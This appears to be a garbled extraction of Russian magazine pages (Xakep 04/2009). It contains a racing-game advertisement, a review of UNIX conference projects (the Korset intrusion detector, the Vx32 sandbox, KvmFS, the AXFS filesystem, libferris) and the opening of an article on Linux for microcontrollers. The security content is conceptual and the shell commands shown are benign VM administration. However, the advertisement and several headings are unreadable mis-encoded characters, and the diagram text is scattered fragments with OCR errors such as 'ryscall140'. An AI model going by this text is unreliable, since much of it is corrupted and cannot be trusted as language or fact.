áûòü êàê ñïîíñîðñêèìè (â ðàìêàõ ñóïåðêóáêîâ<br />
Alpine è MSN.ru), òàê è îáû÷íûìè, ñ äåíåæíîé<br />
ñòàâêîé. Ïîñëå êàæäîé óäà÷íîé ãîíêè êîìïüþòåð<br />
áóäåò íàãðàæäàòü òåáÿ íåîáõîäèìûì êîëè÷åñòâîì<br />
î÷êîâ, êîòîðûå ôîðìèðóþò òâîé ðåéòèíã. Èìåííî<br />
îí, à òàêæå äåíüãè, âûèãðàííûå â ãîíêå, ÿâëÿþòñÿ<br />
ïîêàçàòåëÿìè ëè÷íîãî óñïåõà â èãðå.<br />
×òî êàñàåòñÿ åæåìåñÿ÷íûõ ñïîíñîðñêèõ Ñóïåðêóáêîâ<br />
îò Alpine è MSN.ru, òî ïðèíöèïû òóò òî÷íî<br />
òàêèå æå, êàê è â îáû÷íûõ çàåçäàõ: çäåñü ìîæíî<br />
óâåëè÷èòü ïåðñîíàëüíûé ðåéòèíã è íàêîïèòü<br />
ñîáñòâåííûé êàïèòàë íà òþíèíã ñâîåãî âèðòóàëüíîãî<br />
Opel.<br />
È åùå îäèí íþàíñ: ïåðåä êàæäîé ãîíêîé êîìïüþòåð<br />
ïðåäëîæèò òåáå íà âûáîð 3 âàðèàíòà íàñòðîåê<br />
àâòî: îò óìåðåííî-áåçîïàñíîãî äî ðèñêîâàííîàãðåññèâíîãî.<br />
Çäåñü òîæå íåò íè÷åãî ñëîæíîãî.<br />
Åçäà â ñïîêîéíîì ðåæèìå áîëåå ïðåäñêàçóåìà<br />
è ñòàáèëüíà, õîòÿ, îòêðîâåííî ãîâîðÿ, õàðàêòåð<br />
àâòîìîáèëÿ â ýòîì ñëó÷àå áóäåò íåìíîãî âÿëûì.<br />
È íàîáîðîò, àãðåññèâíûé ðåæèì åçäû îïàñåí òåì,<br />
÷òî ñïîñîáåí ïðèâåñòè ê ïîëîìêàì àâòî ïðÿìî â<br />
ìîìåíò ãîíêè! Ðèñêîâàòü èëè èäòè ïðîâåðåííûì<br />
áåçîïàñíûì ïóòåì – ñèòóàöèÿ ñàìà ïîäñêàæåò<br />
êàê áûòü â òîì èëè èíîì ñëó÷àå. Âûáîð ëèøü çà<br />
òîáîé.<br />
Íó, à êàê ïîòðàòèòü ñîáñòâåííûå äåíüãè – ðåøàòü<br />
òåáå. Ïóñòèòü âåñü âûèãðûø íà ïîêóïêó òþíèíãäåâàéñîâ,<br />
ïîñòàâèòü âñå íà êîí è æäàòü ñåðüåçíîãî<br />
ñîïåðíèêà, èëè âîâñå ïðîäàòü ñâîå àâòî è<br />
êóïèòü áîëåå ìîùíûé è äîðîãîé âàðèàíò Opel<br />
OPC. Êàê âèäèøü, ñâîáîäû ñàìîâûðàæåíèÿ â èãðå<br />
ïðåäîñòàòî÷íî!<br />
Òåïåðü ïàðó ñëîâ î òîì, ðàäè ÷åãî ìû äàåì òåáå<br />
òàêèå âîçìîæíîñòè.<br />
 ìåíþ èãðû ñóùåñòâóåò ñâîåîáðàçíûé «õîëë<br />
ñëàâû», â êîòîðûé êàæäûé ìåñÿö ïîïàäàþò òîëüêî<br />
ñàìûå ëó÷øèå ãîíùèêè! Ïîïàñòü òóäà – ýòî ñàìàÿ<br />
âàæíàÿ äëÿ òåáÿ ìèññèÿ! Ïîñêîëüêó, êàæäûé ìåñÿö<br />
ñ÷àñòëèâ÷èêîâ æäóò óìîïîìðà÷èòåëüíûå ïðèçû<br />
îò íàñ è íàøèõ ñïîíñîðîâ! Äàâàé ïîñìîòðèì, ÷òî<br />
òàì!<br />
1. Îò Alpine: íîâåéøèå CD-ðåñèâåðû, ñàáâóôåðû,<br />
äèíàìèêè, êîíòðîëëåðû IPod ñ Bluetooth èç íîâîãî<br />
ìîäåëüíîãî ðÿäà Alpine.<br />
2. Îò ÐÎÑÍÎ: ñåðòèôèêàò ÐÎÑÍÎ íà 50 000 ðóáëåé<br />
(ñåðòèôèêàò äàåò ïðàâî íà ñêèäêó â ðàçìåðå<br />
óêàçàííîé ñóììû)<br />
3. Îò MAXI Tunung: ôèðìåííûå âûñîêîîêòàíîâûå<br />
ôóòáîëêè, ïîëóãîäîâûå è ãîäîâûå ïîäïèñêè íà<br />
æóðíàë<br />
È, íàêîíåö, ñóïåðïðèç! Êîìïàíèÿ Opel ïðåäîñòàâèò<br />
ëó÷øåìó èãðîêó ãîäà íîâåíüêèé è àáñîëþòíî<br />
ðåàëüíûé àâòîìîáèëü Opel Corsa!!!!!<br />
Êðîìå òîãî, ïî èòîãàì ìåñÿöà òðè ëó÷øèõ ãîíùèêà<br />
ïîëó÷àò ñåðòèôèêàòû îò Cordiant ñ 15% ñêèäêîé<br />
íà ïîêóïêó ëþáîãî êîìïëåêòà ôèðìåííûõ øèí<br />
Cordiant è áåñïëàòíûé øèíîìîíòàæ â ïðèäà÷ó!<br />
Æäàòü íåêîãäà! Ó òåáÿ åùå åñòü âðåìÿ âñòàòü íà<br />
ñòàðòîâóþ ëèíèþ è äîæäàòüñÿ äîëãîæäàííîé<br />
îòìàøêè. Ìû æäåì òåáÿ è òâîé àâòîìîáèëü íà<br />
ôèíèøå! Ïîâåðü, ó òåáÿ åñòü íåîòúåìëåìîå ïðàâî<br />
ñòàòü ëó÷øèì! Íå îòêëàäûâàé æåëàííóþ ïîáåäó íà<br />
çàâòðà. Êëèêíè íà ãàç!<br />
ÇÈÌÀ ÎÒÌÅÍßÅÒÑß! ÇÀÁÓÄÜ Î ÌÈÍÓÑÎÂÛÕ ÒÅÌÏÅÐÀÒÓÐÀÕ, ÃÐßÇÍÛÕ ÒÐÀÑÑÀÕ È ÒÎËÑÒÎÌ ÑËÎÅ ÑÍÅÃÀ!<br />
ÑÒÓÆÀ ÏÎÁÅÆÄÅÍÀ! ÂÏÅÐÅÄÈ Ó ÒÅÁß ÑÀÌÛÉ ÍÀÑÒÎßÙÈÉ ÃÎÍÎ×ÍÛÉ ÑÅÇÎÍ! ÌÛ ÐÀÄÛ ÏÐÅÄÑÒÀÂÈÒÜ<br />
ÒÅÁÅ ÍÀØ, ÏÎ-ËÅÒÍÅÌÓ ÆÀÐÊÈÉ, ÑÓÏÅÐÏÐÎÅÊÒ MAXI RACING! ÏÐÈÑÒÅÃÈÂÀÉ ÐÅÌÍÈ ÍÀ ÎÔÈÑÍÎÌ<br />
ÊÐÅÑËÅ, ÃÎÍÊÀ ÍÀ×ÈÍÀÅÒÑß!
unixoid<br />
а. б. в.<br />
50<br />
40<br />
30<br />
50<br />
40<br />
30<br />
94<br />
64<br />
RAM<br />
Flash<br />
20<br />
20<br />
32<br />
10<br />
0<br />
AXFS JFFS2 CRAMFS SQUASHFS<br />
10<br />
0<br />
AXFS SQUASHFS XIP AXFS XIP CRAMFS<br />
0<br />
JFFS2 SQUASHFS AXFS<br />
БЕНЧМАРКИ AXFS: СКОРОСТЬ ЗАПУСКА ПРИЛОЖЕНИЯ (А), РАЗМЕР ОБРАЗА ФС (Б), ОБЩИЙ УРОВЕНЬ ПОТ-<br />
РЕБЛЕНИЯ ПАМЯТИ (СООТНОШЕНИЕ RAM/FLASH) (В)<br />
ЕВГЕНИЙ «J1M» ЗОБНИН<br />
/ ZOBNIN@GMAIL.COM/<br />
Обреченные<br />
на успех<br />
Îáçîð ñàìûõ èíòåðåñíûõ ïðîåêòîâ, ïðåäñòàâëåííûõ íà UNIX-êîíôåðåíöèÿõ<br />
Åæåãîäíî ïî âñåìó ìèðó ïðîõîäèò ìíîæåñòâî êîíôåðåíöèé, òàê èëè èíà÷å<br />
ñâÿçàííûõ ñ UNIX è FOSS. Ó÷àñòèå IT-ñïåöèàëèñòà â ïðîãðàììå îäíîé èç íèõ<br />
— îòëè÷íûé ñïîñîá âûäåëèòüñÿ, ïðîäåìîíñòðèðîâàòü íåîðäèíàðíîñòü ñâîåãî<br />
ìûøëåíèÿ è óìåíèå èçëàãàòü ìûñëè. Ìû îçíàêîìèìñÿ ñ ïÿòüþ íàèáîëåå<br />
êðåàòèâíûìè ïðîåêòàìè, ïðåäñòàâëåííûìè íà êîíôåðåíöèÿõ USENIX è Linux<br />
Symposium çà ïîñëåäíèå äâà ãîäà.<br />
>> unixoid<br />
KORSET — HIDS БЕЗ ЛОЖНЫХ СРАБАТЫВАНИЙ<br />
Феноменальная популярность небезопасных языков программирования<br />
C и C++ оказалась фатальной с появлением интернета и сетевых<br />
технологий. Проблеме срыва стека уже свыше 25 лет, но эффективного<br />
ее решения до сих пор не придумано. Производители железа снабжают<br />
процессоры NX-битом, который, как оказалось, способен остановить<br />
только учителей информатики. В операционные системы встраивают<br />
разнообразные рандомизаторы адресов, — они хоть и усложняют<br />
процесс внедрения shell-кода, но также легко обходятся. Создатели<br />
компиляторов не отстают и придумывают прополисы и прочие расширения.<br />
Идеалисты постоянно кричат о типо-безопасных языках и виртуальных<br />
машинах. Каждый год исследователи представляют новые системы<br />
защиты, но явного прогресса нет и кажется, что эффективное решение не<br />
будет найдено никогда.<br />
Несколько в стороне от всей этой кутерьмы стоят разработчики хостовых<br />
систем обнаружения вторжений (HIDS). Они предлагают искать лекарство<br />
не от самой болезни, а от ее симптомов: раз уж от срыва стека и смежных<br />
методов проникновения защититься нельзя, то почему бы не пресечь их<br />
последствия, запретив программе делать то, чего она делать не должна.<br />
080<br />
Существует два типа HIDS: обучаемые и основанные на правилах. Слабость<br />
первых в необходимости предварительного «прогона»<br />
приложе ния, — обучаемой HIDS нужно время на анализ того, что обычно<br />
делает приложение, чтобы уже потом на основе этих данных ограничить<br />
софтину в возможностях. В то же время такая HIDS просто технически не<br />
способна узнать обо всем, что может приложение, и довольно часто дает<br />
ложные срабатывания.<br />
HIDS, основанные на правилах, действуют по-другому. Они предлагают<br />
пользователю самому составить список того, что дозволено приложению<br />
(какие системные вызовы разрешены, к каким файлам и устройствам оно<br />
может обращаться и т.д.), а все остальные действия будут пресекаться.<br />
Недостаток: чтобы точно составить правила, нужно серьезно попотеть<br />
(попробуй как-нибудь на досуге написать список правил SELinux для<br />
Apache и всех его модулей с нуля).<br />
Разработчики концептуальной HIDS Korset (www.korset.org), анонсированной<br />
на Linux Symposium 2008, предложили объединить оба типа<br />
систем обнаружения вторжений для создания сверхнадежной HIDS,<br />
работающей без вмешательства пользователя и не требующей обучения<br />
или написания правил. Korset базируется на идее Control Flow Graph<br />
XÀÊÅÐ 04 /124/ 09
unixoid<br />
ПРИНЦИП РАБОТЫ KORSET<br />
User Space<br />
System Calls<br />
Kernel Space<br />
example c<br />
example<br />
i=read(fd, buf, n);<br />
if (i==n) {<br />
write(fd, buf, n);<br />
}<br />
close(fd);<br />
gcc, ld, ...<br />
ELF<br />
executable<br />
Korset<br />
Monitoring<br />
Agent<br />
Kernel<br />
System Call<br />
Handler<br />
Korset Static Analyzer<br />
ГРАФИЧЕСКОЕ ПРЕДСТАВЛЕНИЕ<br />
ГРАФА ФУНКЦИИ FWRITE()<br />
read<br />
write<br />
close<br />
example. korset<br />
1)syscall90<br />
2)fwrite()<br />
3)ryscall140<br />
4)syscall91<br />
5)syscall125<br />
6)syscall+5<br />
7) syscall4<br />
8) syscall197<br />
9) syscall10S<br />
10) syscall54<br />
АДРЕСНОЕ ПРОСТРАНСТВО ПРО-<br />
ЦЕССА, РАБОТАЮЩЕГО ПОД КОНТ-<br />
РОЛЕМ VX32<br />
Host Operating System<br />
Kernel Address Space<br />
(x86-32 or x86-64)<br />
1<br />
3<br />
5<br />
6<br />
7<br />
8<br />
9<br />
10<br />
2<br />
4<br />
Host Application<br />
Address Space<br />
(x86-32 or x86-64)<br />
(quest address space expands<br />
as heap grows)<br />
ДИСКОВЫЙ ФОРМАТ AXFS<br />
Flat Model<br />
Code, Data<br />
Segments<br />
quest heap<br />
quest code, data, bss<br />
default quest stack<br />
Guest Address Space<br />
(always x86-32)<br />
quest execution state,<br />
code tragment cache<br />
0<br />
Guest<br />
Data<br />
Segment<br />
Guest<br />
Control<br />
Segment<br />
SUPERBLOCK<br />
Region Descriptor<br />
Region Descriptor<br />
Region Descriptor<br />
Region Descriptor<br />
vx32 sandbox library<br />
Region - file names<br />
Host Application<br />
code, data, bss, heap<br />
(x86-32 or x86-64)<br />
Region - node offsets<br />
Region - compressed nodes<br />
0<br />
Region - xip nodes<br />
XÀÊÅÐ 04 /124/ 09<br />
081
unixoid<br />
(CFG), который представляет собой граф, отражающий очередность<br />
выполнения системных вызовов приложением. Такой граф строится<br />
автоматически во время сборки приложения и загружается ядром перед<br />
его исполнением. Если во время работы процесс инициирует системные<br />
вызовы, не описанные в графе, или даже делает их не в том порядке —<br />
процесс завершается.<br />
Чтобы воплотить мысль в реальность, создатели Korset снабдили GNU<br />
build tools (gcc, ld, as, ar) специальными обертками, которые строят<br />
CFG на основе исходных текстов и объектных файлов приложения. Для<br />
реализации сидящего в ядре Monitoring Agent был модифицирован ELFзагрузчик,<br />
который во время загрузки исполняемого файла в память находит<br />
и загружает закрепленный за ним CFG (файл приложение .korset).<br />
Специальная хук-функция security_system_call, прописанная в структуре<br />
security_operations, запускается при каждом системном вызове и сверяет<br />
его с записью в CFG. Ну, а чтобы связать все это воедино, в структуру<br />
task_struct добавили ссылку на CFG и его состояние.<br />
На первый взгляд, Korset прост в реализации и удобен в использовании.<br />
Но не все так радужно. Во-первых, CFG убивает возможность<br />
генерации кода на лету, без которой в некоторых случаях просто не<br />
обойтись. Во-вторых, CFG — не панацея. Если взломщик умудрится<br />
оформить системные вызовы shell-кода таким образом, чтобы они<br />
соответствовали прописанным в CFG (например, сделает open(),<br />
но не конфигурационного файла, а псевдотерминала), то ничто не помешает<br />
ему в проникновении. Ну и, в-третьих, в текущем состоянии<br />
Korset далек от продакшн: работа только на x86, с программами без<br />
динамической линковки, многопоточности, сигналов и инструкций<br />
вроде setjmp и longjmp.<br />
VX32 — ПЕСОЧНИЦА В ПРОСТРАНСТВЕ ПОЛЬЗОВАТЕЛЯ<br />
Идея использовать песочницы для запуска небезопасного кода далеко<br />
не нова. Близкие примеры: Chroot, FreeBSD Jail, Linux Lguest, Solaris<br />
Zones. JavaVM — тоже своего рода песочница, принуждающая использовать<br />
типо-безопасный язык для создания приложений и применяющая<br />
многочисленные рантайм проверки на безопасность. Даже VMWare<br />
и qemu есть не что иное, как песочницы, позволяющие запустить ОС в<br />
изолированном виртуальном окружении.<br />
Особого внимания заслуживают песочницы, основанные на прозрачной<br />
трансляции опкодов x86. Чтобы понять, что это такое, представь себе<br />
Java, которая умеет исполнять обычный x86-код, скомпилированный<br />
с помощью gcc. При этом подконтрольная программа не может выйти<br />
за границы своей области памяти и навредить работе виртуальной<br />
машины. Единственный путь наружу — специальный API. Ничего кроме<br />
для нее не существует. Такой вид песочниц наиболее интересен, потому<br />
как не требует вмешательств в ядро, не принуждает к использованию<br />
типо-безопасных языков, транслируемых в байт-код, не эмулирует целую<br />
аппаратную платформу и позволяет как угодно ограничить исполняемую<br />
программу с помощью урезания API до минимума. На его основе даже<br />
можно построить целую операционную систему, работающую в пространстве<br />
пользователя.<br />
К сожалению, популярности такой тип песочниц не получил. Реализация<br />
требует софтверной интерпретации инструкций процессора (с целью их<br />
модификации), ведь чтобы подконтрольное приложение оставалось в<br />
изоляции, нельзя допустить, чтобы оно смогло производить системные<br />
вызовы или обращаться к функциям, не оговоренным в API (инструкции<br />
int и call). Нельзя передавать управление на код за пределами своего адресного<br />
пространства (jmp) или читать данные вне своей зоны видимости<br />
(тут уж совсем засада). Поэтому инструкции должны анализироваться<br />
и при необходимости исправляться. Как следствие: на порядки отстает<br />
производительность.<br />
Проект Vx32 (pdos.csail.mit.edu/~baford/vm), представленный на<br />
конференции USENIX’08, вдохнул в идею подобных песочниц новую<br />
жизнь благодаря одному хитрому приему, который позволил вывести<br />
производительность чуть ли не на уровень нэйтивного кода. Все<br />
дело в границах области данных. Обычно для ограничения области<br />
данных подконтрольной программы интерпретаторы анализируют<br />
все куски кода, содержащие хоть какое-то упоминание об адресе,<br />
082<br />
будь то чтение из буфера, работа со стеком или обращение к файлу.<br />
Анализируется и, в случае необходимости, исправляется каждая<br />
инструкция, несущая в себе адрес. В то же время на долю различных<br />
переходов и обращений к подпрограммам остается жалкий процент<br />
действий, не несущий особой нагрузки на интерпретатор. Разработчики<br />
Vx32, отлично это понимая, просто ограничили область<br />
данных программы сегментными регистрами (ds, es, ss), которые<br />
все равно не применяются в современных ОС из-за плоской модели<br />
памяти. В результате, интерпретатор Vx32 должен заботиться только<br />
об анализе инструкций-переходов (число которых очень мало: jmp и<br />
производные, call, int, ret) и пресекать попытки изменения сегментных<br />
регистров, а самую трудоемкую работу по соблюдению границ<br />
видимости области данных выполнит процессор, который делает<br />
это в сотни раз быстрее. Уже сейчас Vx32 стабильно работает, а на его<br />
основе создано несколько проектов, среди которых ОС Plan9, работающая<br />
в режиме хост-системы, и «эмулятор» Linux (Linux API поверх Vx32).<br />
Производительность этих систем приближается к нэйтивному коду<br />
(оверхед редко превышает 80%). Недостаток же у системы всего один:<br />
привязанность к x86.<br />
KVMFS — УДАЛЕННОЕ УПРАВЛЕНИЕ<br />
ВИРТУАЛЬНЫМИ СЕРВЕРАМИ<br />
Технологии виртуализации плотно вошли в нашу жизнь. Разработчики<br />
используют виртуальные машины для прогонки и отладки низкоуровнего<br />
кода, администраторы — чтобы сэкономить на покупке железных<br />
ВИРТУАЛИЗАЦИЯ<br />
ПРИМЕНЯЕТСЯ В КЛАСТЕРАХ<br />
ПОВЫШЕННОЙ<br />
ПРОИЗВОДИТЕЛЬНОСТИ (HPC)<br />
ДЛЯ ЭФФЕКТИВНОГО<br />
ИСПОЛЬЗОВАНИЯ ВСЕХ ЯДЕР<br />
СОВРЕМЕННЫХ МНОГОЯДЕР-<br />
НЫХ ПРОЦЕССОРОВ.<br />
серверов, а хостеры начали применять технологии виртуализации с<br />
целью создать иллюзию постоянной доступности сервера. Особенно<br />
полюбились виртуальные сервера сервисам по сдаче в аренду компьютерных<br />
мощностей (теперь для каждого клиента они могут выделить<br />
отдельный виртуальный сервер и при необходимости перенести его на<br />
другую машину). Виртуализация применяется в кластерах повышенной<br />
производительности (HPC) для эффективного использования всех ядер<br />
современных многоядерных процессоров (для каждого ядра — отдельная<br />
виртуальная машина).<br />
Бум популярности виртуализации начался сразу после появления ее<br />
поддержки в современных x86-процессорах. Теперь виртуальный сервер<br />
может работать без явного оверхеда и модификации практически на<br />
любой ОС, оснащенной соответствующим драйвером.<br />
В Linux такой драйвер называется kvm, и для его задействования обычно<br />
применяется виртуальная машина qemu. Сама по себе qemu представляет<br />
множество интересных возможностей для управления серверами, включая<br />
функции заморозки/разморозки, простой способ миграции по Сети,<br />
поддержку сжатых образов дисков и т.д. Управлять сервером с помощью<br />
qemu одно удовольствие, но если таких серверов сотни, а то и тысячи, и все<br />
они разбросаны по множеству машин, начинаются серьезные проблемы.<br />
Проект KvmFS, представленный на Linux Symposium 2007, как раз<br />
и призван упростить процесс администрирования множества уда-<br />
XÀÊÅÐ 04 /124/ 09
unixoid<br />
ленных виртуальных машин. KvmFS использует протокол 9P (тот,<br />
что из Plan9) для создания виртуальной файловой системы, которую<br />
можно удаленно монтировать, например из Linux, и управлять<br />
множеством инстанций qemu на удаленном сервере путем записи<br />
специальных команд в файлы. Сервер KvmFS прочитает команды<br />
и отправит их нужному процессу qemu. Для наглядности далее<br />
приводится пример запуска виртуальной машины на сервере host.<br />
org:<br />
# mount -t 9p host.org /mnt/9<br />
# cd /mnt/9<br />
# tail -f clone &<br />
# cd 0<br />
# cp ~/disk.img fs/disk.img<br />
# cp ~/vmstate fs/vmstate<br />
# echo dev hda disk.img > ctl<br />
# echo net 0 00:11:22:33:44:55 > ctl<br />
# echo power on freeze > ctl<br />
# echo loadvm vmstate > ctl<br />
# echo unfreeze > ctl<br />
А вот так производится миграция виртуального сервера на другую машину:<br />
# mount -t 9p host1.org /mnt/9/1<br />
# mount -t 9p host2.org /mnt/9/2<br />
# tail -f /mnt/9/2/clone &<br />
# cd /mnt/9/1/0<br />
# echo freeze > ctl<br />
# echo 'clone 0 host2.org!7777/0' > ctl<br />
# echo power off > ctl<br />
Даже если машин с виртуальными серверами в сети сотни, не составит<br />
особого труда написать небольшой скрипт, который проходит по списку<br />
адресов и монтирует их все к нужным точкам.<br />
AXFS — ЗАПУСК ПРИЛОЖЕНИЙ БЕЗ ПОМЕЩЕНИЯ В RAM<br />
Linux стремительно завоевывает рынок мобильной и встраиваемой<br />
техники. Все больше производителей смартфонов заявляют об использовании<br />
открытой ОС в следующих моделях своих устройств. Множество<br />
компаний выдвигают на рынок специальные версии дистрибутивов<br />
Linux для мобильных устройств. Линус Торвальдс пропускает в ядро<br />
огромное количество патчей с реализацией поддержки того или иного<br />
мобильного оборудования и кажется, что хакерский рай уже так близко…<br />
К сожалению, не все так просто. Изначально ядро Linux разрабатывалось<br />
для рабочих станций и серверов, и только совсем недавно тукс<br />
потянул крылышки к смартфонам. Поэтому почти все подсистемы ядра<br />
рассчитаны (и оптимизированы) на применение в стандартных настольных<br />
конфигурациях, которые непременно обладают жесткими дисками,<br />
быстрым видеоадаптером, большим объемом оперативной памяти и<br />
весьма нескромной производительностью. Некоторые из этих проблем<br />
решаются достаточно просто. Например, требуемые объемы памяти можно<br />
понизить до приемлемого уровня, собрав ядро с поддержкой только<br />
самого необходимого и потюнив систему через /proc. Низкопроизводительная<br />
видеоподсистема? Ну, тогда и тяжелый X Server не нужен, хватит<br />
framebuffer’а! А вот с остальным сложнее. В частности, в ядре до сих пор<br />
нет файловой системы, позволяющей использовать все возможности<br />
современных flash-накопителей.<br />
Список фич, которыми должна обладать такая файловая система, следующий:<br />
1. Переписывание данных только в случае крайней необходимости.<br />
Основанные на flash-памяти накопители имеют ограничение по части<br />
количества циклов перезаписи.<br />
2. Прозрачное сжатие данных.<br />
3. Умение работать без уровня эмуляции блочного устройства, который<br />
создает совершенно ненужный оверхед.<br />
XÀÊÅÐ 04 /124/ 09<br />
4. Устойчивость к перебоям питания.<br />
5. Поддержка XIP (eXecute-In-Place), т.е. возможности запустить программу<br />
прямо с flash-накопителя, без загрузки в оперативную память.<br />
Давно интегрированная в ядро jffs2 не поддерживает и половины этих<br />
возможностей, а вот созданная компанией Nokia ubifs (интегрирована<br />
в ядро 2.6.27) очень хороша и умеет почти все, кроме пятого пункта. За<br />
счет XIP можно сделать большой шаг вперед. Поясню. На мобильных<br />
устройствах операционная система обычно прошивается в память типа<br />
NOR, которая, в отличие от используемой во флешках NAND-памяти,<br />
поддерживает обращение к произвольным ячейкам. Произвольный<br />
доступ делает ее очень похожей на оперативную память и даже позволяет<br />
использовать в этом качестве. Надо только научить файловую систему<br />
мапить отдельные участки NOR-памяти в память виртуальную — и, о<br />
чудо, полноценная операционная система может работать, не потребляя<br />
RAM.<br />
Загвоздка с XIP лишь в том, что это технология никак не вписывается<br />
в дизайн универсальной операционной системы. По сути это хак,<br />
который пытается смешать несовместимые подсистемы ядра. Создатели<br />
файловой системы AXFS (Advanced XIP File System), анонсированной на<br />
Linux Symposium 2008, попытались исправить этот недочет при помощи<br />
официальных механизмов ядра. Еще в ядро 2.6.13, в рамках интеграции<br />
dcss-драйвера для архитектуры s390, был добавлен специальный<br />
механизм, позволяющий обращаться к памяти flash-диска напрямую<br />
(файл /mm/filemap_xip.c). До создателей AXFS этот механизм попытались<br />
использовать разработчики xip-патчей для cramfs, но в результате<br />
получили грязный хак, который никак нельзя было выдать за оптимальное<br />
решение. Разработчики же AXFS проконсультировались с авторами<br />
подсистемы виртуальной памяти и создали 64-битную файловую систему,<br />
достоинства которой:<br />
1. XIP для памяти NOR-типа.<br />
2. Возможность работать с NAND-памятью (XIP автоматически отключается).<br />
3. Прозрачная компрессия с размером блока от 4 Кб до 4 Гб.<br />
4. Умение работать как с блочными устройствами, так и напрямую.<br />
Записывать она не умеет (образ файловой системы создается специальной<br />
утилитой), но это и не требуется для прошивок, выпускаемых<br />
производителем аппарата.<br />
LIBFERRIS — НОВЫЙ УРОВЕНЬ ВИРТУАЛЬНЫХ ФС<br />
В последнее время виртуальные файловые системы завоевали особую<br />
популярность. Пользователей они привлекают своей универсальностью,<br />
благодаря которой не нужно тратить время на изучение новых<br />
интерфейсов и чтение мануалов. С точки зрения программистов,<br />
виртуальная ФС — очень удобный и простой способ связывания компонентов<br />
большой системы без выдумывания нового API и использования<br />
сложных RPC.<br />
Чтобы не быть голословным, приведу лишь некоторые примеры<br />
из громадного списка таких ФС: подсистема Gnome VFS, которая<br />
позволяет«ходить»по архивам, ssh-сессиям, ISO-образам; подсистема<br />
KDE KIO, разработанная для тех же целей; ядерный модуль fuse, на основе<br />
которого создано просто гигантское количество самых разнообразных<br />
файловых систем. А если уж мыслить в более глобальных масштабах, то<br />
не обойтись без упоминания об операционных системах Inferno и Plan9,<br />
где виртуальные ФС являются центральной частью ОС и связывают все<br />
компоненты системы в единый комплекс.<br />
Проект libferris (www.libferris.com), которому была посвящена<br />
одна из лекций Linux Symposium, в этом плане идет еще дальше.<br />
Кроме возможности монтирования массы разнообразных ресурсов,<br />
он предлагает механизм управления приложением (Firefox, X<br />
Window) через файловый интерфейс, позволяет легко преобразовать<br />
XML-документ в файловую систему и обратно, поддерживает<br />
атрибуты, которые на лету извлекаются из внутренних метаданных<br />
документа, и обладает еще массой интересных особенностей.<br />
Другими словами, проект libferris выводит виртуальные ФС на<br />
новый уровень, который раньше был доступен лишь в упомянутом<br />
Plan9. z<br />
083
unixoid<br />
DIVER<br />
/ DIVER@EDU.IOFFE.RU /<br />
Встраиваем<br />
пингвина<br />
Ó÷èìñÿ ñòàâèòü Linux íà ìèêðîêîíòðîëëåðû<br />
Îòêðûòîñòü è ãèáêîñòü GNU/Linux ïîçâîëÿåò çàòî÷èòü åå áóêâàëüíî ïîä ÷òî<br />
óãîäíî. Ýòà ÎÑ îäèíàêîâî õîðîøî ðàáîòàåò íà ìàðøðóòèçàòîðàõ, ìîáèëüíèêàõ<br />
è ïðîôåññèîíàëüíûõ ñèñòåìàõ ñáîðà äàííûõ – â îáùåì, íà òàê íàçûâàåìûõ<br />
âñòðàèâàåìûõ óñòðîéñòâàõ. Êàê ýòîãî äîáèâàþòñÿ?<br />
>> unixoid<br />
Итак, у тебя есть Идея, и звучит она так: «Хочу Linux на Микроконтроллере».<br />
Как и почти любую замечательную Идею, ее придумали еще до тебя<br />
и уже досконально проработали опытные линуксоиды и программисты.<br />
Для начала определись с задачей. Что твое устройство будет делать?<br />
Как будет реагировать на внешние раздражители? Задай себе главный<br />
вопрос: ЗАЧЕМ тебе здесь Linux? Если определился, выбирай девайс,<br />
на который твоя ОСь будет водружаться. На нем должен быть поддерживаемый<br />
Linux’ом микроконтроллер, а также достаточно памяти и<br />
быстродействия для твоих задач. В идеале, для первых экспериментов<br />
подойдет какой-нибудь простенький роутер (типа D-Link на MIPS-архитектуре,<br />
с уже предустановленным Linux’ом). Перекомпиль ядро под<br />
свою задачу и залей обратно на роутер, — это и будет первый опыт.<br />
Дальше можешь спаять или купить какую-нибудь отладочную плату.<br />
Только следи, чтобы на твоем одноплатнике было не менее 16 Мб оперативки,<br />
и контроллер имел Блок Управления Памятью MMU (смотри врезку),<br />
иначе придется довольствоваться сильно урезанным ядром ucLinux.<br />
Как запустишь ядро и примонтируешь файловую систему, пиши или ищи<br />
драйвера для интерфейсов и внешней периферии.<br />
Обобщим. Для более-менее успешной реализации Идеи, тебе надо:<br />
• Знать основы микроэлектроники.<br />
• Знать язык С (желательно Асм).<br />
• Уметь ориентироваться в Datasheets и прочей документации к контроллеру<br />
и его внешней периферии.<br />
• Иметь опыт программирования МК (базовые знания процесса загрузки<br />
Linux также будут нелишними).<br />
Звучит страшно? Но основы я расскажу здесь, а остальное прочитаешь в<br />
Сети, если заинтересует.<br />
НИЗКИЙ УРОВЕНЬ<br />
У любого микроконтроллера на кристалле, помимо собственно ядра,<br />
живет периферия. По сути, это отдельные устройства, объединенные в<br />
один корпус.<br />
Ядро управляет всей внутренней периферией путем записи или чтения<br />
из регистров, замапленных в специальную область памяти. Они называются<br />
SFR (Special Function Register). Запомни эту аббревиатуру, в документации<br />
к процессорам она часто используется. А само процессорное<br />
084<br />
ядро, кроме арифметики да чтения/записи в память, по сути, ничего и не<br />
умеет и все перекладывает на плечи периферии.<br />
В нашей задаче установки Linux контроллер обязательно должен иметь<br />
два периферийных устройства:<br />
1. PDC — контроллер прямого доступа к памяти. Вместо того чтобы<br />
«вручную» принимать данные с портов ввода-вывода и копировать их в<br />
оперативную память, процессорное ядро может отдать эту операцию на<br />
откуп контроллеру DMA (прямого доступа к памяти), и, пока тот перемещает<br />
данные, заниматься действительно полезным делом. По окончании<br />
операций с памятью, PDC дергает прерывание, и ядро переключается<br />
на обработку данных.<br />
2. Memory Management Unit (или, по-русски, Блок Управления Памятью).<br />
Работает в тандеме с PDC и контроллером оперативки. Главная его роль<br />
— это трансляция виртуальной памяти в физическую, а также контроль<br />
доступа. На твоем десктопе архитектуры х86/х86-64 он присутствует<br />
всегда, а вот в микроконтроллерах его может и не быть. Linux, как многозадачная<br />
система, использует этот блок для установки прав доступа<br />
на страницы памяти. Как только какой-нибудь код попытается взаимодействовать<br />
с запрещенной областью памяти, сработает аппаратное<br />
прерывание, обрабатываемое ядром Linux.<br />
Также пригодятся контроллеры карточек NAND-Flash и CompactFlash,<br />
но они, наверняка, присутствуют везде, где есть MMU. Остальную периферию<br />
тоже не следует обделять вниманием — например, периферийный<br />
контроллер микросхемы физического уровня Ethernet и поддержка<br />
USB-Host дадут тебе нехилые преимущества в возможностях.<br />
Как известно, процесс загрузки ОС на базе Linux, вне зависимости от<br />
архитектуры, происходит в несколько этапов. Вкратце напомню: при<br />
старте компьютера первым запускается загрузчик, подготавливающий<br />
